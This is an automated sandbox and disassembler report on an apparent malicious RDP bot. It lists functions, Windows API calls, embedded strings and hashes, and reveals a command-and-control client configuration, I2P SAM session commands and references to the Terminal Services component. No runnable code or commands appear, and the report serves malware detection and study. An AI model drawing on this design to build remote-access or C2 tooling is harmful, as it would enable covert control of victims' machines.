Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalSection$Heap$Enter$FreeLeaveProcess$Sleep
String ID: $--TSCB--$-VRSTVE-$KCIT$[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 610085118-1825955162
Opcode ID: 976fff96366d5551afc8c362ad483118ae7add20c4f03ef8fba7955228ba521d
Instruction ID: 212e0da161c33740eb9b41730af3f389f1c9c83ea08be17d0fe86562dda84c78
Opcode Fuzzy Hash: 976fff96366d5551afc8c362ad483118ae7add20c4f03ef8fba7955228ba521d
Instruction Fuzzy Hash: F2512C21E09E4686E7588B89E842279B7A4FF84FC9F186135DB4E037A5DF3DE4898300

Function 00007FF708874688 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7088746BC

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

GetLastError.KERNEL32 ref: 00007FF70887481B

Strings

((*xpath_sz) > 0), xrefs: 00007FF7088747AF
[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF7088747EF
(path != NULL), xrefs: 00007FF70887471C
fs_path_expand, xrefs: 00007FF7088746F0, 00007FF708874723, 00007FF708874756, 00007FF708874786, 00007FF7088747B6, 00007FF7088747E8, 00007FF708874829, 00007FF708874904
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF7088746F7
(xpath_sz != NULL), xrefs: 00007FF70887477F
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF708874830
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF70887490B
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF708874715, 00007FF708874748, 00007FF708874778, 00007FF7088747A8
(xpath != NULL), xrefs: 00007FF70887474F
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF70887472A, 00007FF70887475D, 00007FF70887478D, 00007FF7088747BD

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2273971785
Opcode ID: 50e05fe60871ecda0d75aea2f679edb60675657aefb85dd97d6e8b7658f1e7e4
Instruction ID: 9f71ffc43107399a5d26866e7548455b8011f5851fb8a66cedc83221f109d2c8
Opcode Fuzzy Hash: 50e05fe60871ecda0d75aea2f679edb60675657aefb85dd97d6e8b7658f1e7e4
Instruction Fuzzy Hash: 3E617C26E2C54BC5FA20EB54EC40BB8E266AF41788FD40132D54D472E5DF3CE9A6832D

Function 00007FF8B9186C3D Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 134stringtimeCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8B9186C9D
strlen.MSVCRT ref: 00007FF8B9186CBF
strlen.MSVCRT ref: 00007FF8B9186CD3
strlen.MSVCRT ref: 00007FF8B9186D49
strlen.MSVCRT ref: 00007FF8B9186D65
strlen.MSVCRT ref: 00007FF8B9186D76
CompareFileTime.KERNEL32 ref: 00007FF8B9186DD1

Strings

v32.ini, xrefs: 00007FF8B9186D8B
TermService, xrefs: 00007FF8B9186E20
termsrv3, xrefs: 00007FF8B9186CDB
v32.ini, xrefs: 00007FF8B9186CE8
termsrv3, xrefs: 00007FF8B9186D7E
%ProgramFiles%\RDP\, xrefs: 00007FF8B9186D2B

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strlen$CompareFileTime
String ID: %ProgramFiles%\RDP\$TermService$termsrv3$termsrv3$v32.ini$v32.ini
API String ID: 342285119-844192579
Opcode ID: 30368236fa65dfd26f33114051efb4c57a2f7cefb1022de13b1530c22006544d
Instruction ID: 5ec49a44ea275eaf98a0a2e00c77040399e4fb0a871c3d7812d6e86838ea2dd3
Opcode Fuzzy Hash: 30368236fa65dfd26f33114051efb4c57a2f7cefb1022de13b1530c22006544d
Instruction Fuzzy Hash: 8B519321B0C6C341FB219F2AA8D43BA5691AF857C4F464031EB9D4B7C7EE6DE905B740

Function 00007FF8BFAB67C4 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 85memorysynchronizationCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB67FD
WaitForSingleObject.KERNEL32 ref: 00007FF8BFAB682C
GetProcessHeap.KERNEL32 ref: 00007FF8BFAB6848
HeapFree.KERNEL32 ref: 00007FF8BFAB6859
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB6870
EnterCriticalSection.KERNEL32 ref: 00007FF8BFAB68C8
WaitForSingleObject.KERNEL32 ref: 00007FF8BFAB68F4
GetProcessHeap.KERNEL32 ref: 00007FF8BFAB6910
HeapFree.KERNEL32 ref: 00007FF8BFAB6921
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFAB6930

Strings

[I] (%s) -> Client gone(client=0x%llx), xrefs: 00007FF8BFAB6817
routine_gc, xrefs: 00007FF8BFAB6810

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: CriticalHeapSection$EnterFreeLeaveObjectProcessSingleWait
String ID: [I] (%s) -> Client gone(client=0x%llx)$routine_gc
API String ID: 4048354325-2700516951
Opcode ID: ceed94a779caef79d74b583b335c059d09e5791cb031e572547082000981e090
Instruction ID: 4a0349742de7a1b4417af5aa895bfc541aa65461b97198f31ea3d65abb330e86
Opcode Fuzzy Hash: ceed94a779caef79d74b583b335c059d09e5791cb031e572547082000981e090
Instruction Fuzzy Hash: 89410065A09E4685EB589FD9DC5227423A0BF44FEDF082635CF2D063E6DE3DE4988310

Function 00007FF8BFB8961B Relevance: 21.2, APIs: 4, Strings: 10, Instructions: 181stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB896AE

Part of subcall function 00007FF8BFB88C26: strcmp.MSVCRT ref: 00007FF8BFB88C6E

strlen.MSVCRT ref: 00007FF8BFB897D4
strcpy.MSVCRT ref: 00007FF8BFB897FB
strcpy.MSVCRT ref: 00007FF8BFB8989A

Strings

RESULT, xrefs: 00007FF8BFB89756, 00007FF8BFB89838
REPLY, xrefs: 00007FF8BFB8983F
NAMING, xrefs: 00007FF8BFB89846
TRANSIENT, xrefs: 00007FF8BFB8979E
SESSION, xrefs: 00007FF8BFB89764
NAMING LOOKUP NAME=ME, xrefs: 00007FF8BFB8980B
SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s, xrefs: 00007FF8BFB89722
VALUE, xrefs: 00007FF8BFB89863
DESTINATION, xrefs: 00007FF8BFB897B6
STATUS, xrefs: 00007FF8BFB8975D

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcpystrlen$strcmp
String ID: DESTINATION$NAMING$NAMING LOOKUP NAME=ME$REPLY$RESULT$SESSION$SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s$STATUS$TRANSIENT$VALUE
API String ID: 245486318-5999096
Opcode ID: eeba7b2acda8fb7677d32ffbf99bdfd9e78382d2291282e41cfa6244142f3c80
Instruction ID: 51aa0585b63ad4a6c75e5a66557c7ea8c7fec59a2a4e2cd04572310cd8933f95
Opcode Fuzzy Hash: eeba7b2acda8fb7677d32ffbf99bdfd9e78382d2291282e41cfa6244142f3c80
Instruction Fuzzy Hash: AA713825E0DA4792EE249BADA9103B92390AF85BF4F684331DE6D577D6DF2CA901C340

Function 00007FF708878A03 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 118registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32 ref: 00007FF708878A80
GetLastError.KERNEL32 ref: 00007FF708878AB3

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

Service stopping, xrefs: 00007FF708878BD6
RDP-Controller, xrefs: 00007FF708878A79
Service running, xrefs: 00007FF708878BA6
, xrefs: 00007FF708878AD1
~, xrefs: 00007FF708878B37
P, xrefs: 00007FF708878B40
[I] (%s) -> %s, xrefs: 00007FF708878BB4, 00007FF708878BE4
svc_main, xrefs: 00007FF708878ABE, 00007FF708878BAD, 00007FF708878BDD
[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu), xrefs: 00007FF708878AC5

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: CtrlErrorHandlerLastRegisterServicefflushfwrite
String ID: $P$RDP-Controller$Service running$Service stopping$[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu)$[I] (%s) -> %s$svc_main$~
API String ID: 3562457520-1478336053
Opcode ID: 6c288d01f213306c2333a4f5c30fee87f9c9195217028b959cf3247afc90220d
Instruction ID: defef908af9cc2e7a32fa124b1154e7bd3698e1519159341abada77ed5864f4b
Opcode Fuzzy Hash: 6c288d01f213306c2333a4f5c30fee87f9c9195217028b959cf3247afc90220d
Instruction Fuzzy Hash: 5051F350E2C60382FA60F7519D98BB8D2B09F54745FD04036CA0E562E2DF6DE8E6837E

Function 00007FF8BFB890CA Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB89111
HeapReAlloc.KERNEL32 ref: 00007FF8BFB89125
strlen.MSVCRT ref: 00007FF8BFB89177
GetProcessHeap.KERNEL32 ref: 00007FF8BFB8919A
HeapFree.KERNEL32 ref: 00007FF8BFB891AB
GetProcessHeap.KERNEL32 ref: 00007FF8BFB891BF
HeapAlloc.KERNEL32 ref: 00007FF8BFB891D0

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetProcessHeap.KERNEL32 ref: 00007FF8BFB89212
HeapFree.KERNEL32 ref: 00007FF8BFB89223

Strings

[D] (%s) -> %s, xrefs: 00007FF8BFB89168
sam3_send_req, xrefs: 00007FF8BFB89161
mem_alloc, xrefs: 00007FF8BFB891E2
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB891E9, 00007FF8BFB89201
mem_realloc, xrefs: 00007FF8BFB891FA

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Heap$Process$AllocFree$fflushfwritestrlen
String ID: [D] (%s) -> %s$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$mem_realloc$sam3_send_req
API String ID: 1135201459-1870638116
Opcode ID: 227849ff22b57d487b6f2f8b521884c8c6484f6d2e9304749063794b68413051
Instruction ID: bb23f7ffd16834d1c0bdfac5e91b45da8c9275663be49b7cdab2347660a30c74
Opcode Fuzzy Hash: 227849ff22b57d487b6f2f8b521884c8c6484f6d2e9304749063794b68413051
Instruction Fuzzy Hash: A7316661A0E64691FE50AFDDEC446F56390AF89FC4F988035EF4E46796EE2CEA04C740

Function 00007FF8B915D110 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 105memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8B915D1AE
GetProcessHeap.KERNEL32 ref: 00007FF8B915D1E1
HeapAlloc.KERNEL32 ref: 00007FF8B915D1F2
strcpy.MSVCRT ref: 00007FF8B915D24B
GetProcessHeap.KERNEL32 ref: 00007FF8B915D261
HeapFree.KERNEL32 ref: 00007FF8B915D272

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B915D287
-LTCMAS-, xrefs: 00007FF8B915D202
on_tick_expiry, xrefs: 00007FF8B915D1CB
XESS, xrefs: 00007FF8B915D21E
mem_alloc, xrefs: 00007FF8B915D280
[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx), xrefs: 00007FF8B915D1D2
-LTCSES-, xrefs: 00007FF8B915D210

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$Process$AllocFreestrcpystrlen
String ID: -LTCMAS-$-LTCSES-$XESS$[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$on_tick_expiry
API String ID: 925994320-1558387473
Opcode ID: b18a5dea767c13263bad1b16b639a38f1e88cabe660c5e6b695c51396f16af22
Instruction ID: e9d8b64337003f6161a576e53ae7d1ca0d2ee0460542316f32a0f7c578c08e4b
Opcode Fuzzy Hash: b18a5dea767c13263bad1b16b639a38f1e88cabe660c5e6b695c51396f16af22
Instruction Fuzzy Hash: E541ADA1A09BC686FA41AF1DD89037926A4BF84BC4F564034EF1E47396EE3CF841E310

Function 00007FF7088744F5 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF708874520
strlen.MSVCRT ref: 00007FF708874549
strlen.MSVCRT ref: 00007FF708874555
strlen.MSVCRT ref: 00007FF70887456B

Strings

NULL, xrefs: 00007FF70887467F
(path_sz != NULL), xrefs: 00007FF7088745D5
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF708874580
(path != NULL), xrefs: 00007FF7088745A5
fs_path_temp, xrefs: 00007FF708874579, 00007FF7088745AC, 00007FF7088745DC, 00007FF70887460C, 00007FF708874646
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF70887464D
((*path_sz) > 0), xrefs: 00007FF708874605
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF70887459E, 00007FF7088745CE, 00007FF7088745FE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7088745B3, 00007FF7088745E3, 00007FF708874613

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3852240402
Opcode ID: 7c2280b7281350a20a1e86a721c1de19fd939620f5cfef4fb2be988dbd6acc0c
Instruction ID: 4120ca5c5f383254284aaedfed5cb5014123b9f20952ed870f4261d659df8f7d
Opcode Fuzzy Hash: 7c2280b7281350a20a1e86a721c1de19fd939620f5cfef4fb2be988dbd6acc0c
Instruction Fuzzy Hash: A041625196CA4791FA11FF14AC14BB8E261BF44748FD44131D65E072D6DF3CE9AA832C

Function 00007FF8BFAB19D9 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 126networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00007FF8BFAB1A84
accept.WS2_32 ref: 00007FF8BFAB1AAB
htonl.WS2_32 ref: 00007FF8BFAB1ADB
htons.WS2_32 ref: 00007FF8BFAB1AEC

Part of subcall function 00007FF8BFAB13F9: ioctlsocket.WS2_32 ref: 00007FF8BFAB141F

WSAGetLastError.WS2_32 ref: 00007FF8BFAB1B9E
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1BDA

Strings

[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFAB1BB1
[W] (%s) -> select timedout(sock=0x%llx), xrefs: 00007FF8BFAB1B7E
tcp_accept, xrefs: 00007FF8BFAB1B2E, 00007FF8BFAB1B77, 00007FF8BFAB1BAA, 00007FF8BFAB1BE6
[E] (%s) -> Failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFAB1BED
[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u), xrefs: 00007FF8BFAB1B35

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLast$accepthtonlhtonsioctlsocketselect
String ID: [E] (%s) -> Failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u)$[W] (%s) -> select timedout(sock=0x%llx)$tcp_accept
API String ID: 2278979430-4175654481
Opcode ID: d839c0b84da7d548b6246506d3ca82f80e2902c7096f5b9e2af1ea17af3298de
Instruction ID: ffddd4770663d87de11e6960a0244bb18847f7b4645361fc5d89ad3bba98ecce
Opcode Fuzzy Hash: d839c0b84da7d548b6246506d3ca82f80e2902c7096f5b9e2af1ea17af3298de
Instruction Fuzzy Hash: 9551D431A08A4285E7284BADE8423B96B60AB407FCF146331DB7D476E9EF3DA5458700

Function 00007FF8BFB58590 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB5867C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB585E0, 00007FF8BFB58613, 00007FF8BFB58646
(name != NULL), xrefs: 00007FF8BFB58605
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFB586F5
NULL, xrefs: 00007FF8BFB5870E, 00007FF8BFB58717
(var != NULL), xrefs: 00007FF8BFB58638
version, xrefs: 00007FF8BFB58590, 00007FF8BFB58594
ini_get_var, xrefs: 00007FF8BFB585D9, 00007FF8BFB5860C, 00007FF8BFB5863F, 00007FF8BFB586A6, 00007FF8BFB586EE
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB585CB, 00007FF8BFB585FE, 00007FF8BFB58631
main, xrefs: 00007FF8BFB58593
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFB586AD
(sec != NULL), xrefs: 00007FF8BFB585D2

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 15574e2c6d2e1fb85edecffd2d2a439210e27da6631c3faf606f44d1bffa9230
Instruction ID: 21cd5ac7ce71f56e562ba2d11933e912f2d0d3376197eff1f41c74a6f014f883
Opcode Fuzzy Hash: 15574e2c6d2e1fb85edecffd2d2a439210e27da6631c3faf606f44d1bffa9230
Instruction Fuzzy Hash: 96413861A09687A6FB108BC8E924BF8B361BF047C8F845532EB4D06595DF7CFA66C700

Function 00007FF8BFB8C550 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB8C63C

Strings

[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFB8C6B5
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFB8C66D
server_host, xrefs: 00007FF8BFB8C550, 00007FF8BFB8C554
ini_get_var, xrefs: 00007FF8BFB8C599, 00007FF8BFB8C5CC, 00007FF8BFB8C5FF, 00007FF8BFB8C666, 00007FF8BFB8C6AE
(var != NULL), xrefs: 00007FF8BFB8C5F8
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C5A0, 00007FF8BFB8C5D3, 00007FF8BFB8C606
(sec != NULL), xrefs: 00007FF8BFB8C592
(name != NULL), xrefs: 00007FF8BFB8C5C5
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C58B, 00007FF8BFB8C5BE, 00007FF8BFB8C5F1
cnccli, xrefs: 00007FF8BFB8C553
NULL, xrefs: 00007FF8BFB8C6CE, 00007FF8BFB8C6D7

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
